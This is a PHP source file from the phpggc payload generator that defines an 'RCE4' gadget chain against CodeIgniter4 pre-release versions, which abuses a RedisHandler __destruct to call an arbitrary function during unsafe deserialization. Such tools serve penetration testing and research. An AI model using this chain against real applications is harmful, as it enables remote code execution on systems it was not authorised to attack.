Codebase list phpggc / fresh-snapshots/main gadgetchains / CodeIgniter4 / RCE / 4 / chain.php
fresh-snapshots/main

Tree @fresh-snapshots/main (Download .tar.gz)

chain.php @fresh-snapshots/mainraw · history · blame

<?php

namespace GadgetChain\CodeIgniter4;

class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4';
    public static $vector = '__destruct';
    public static $author = 'eboda';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
    }
}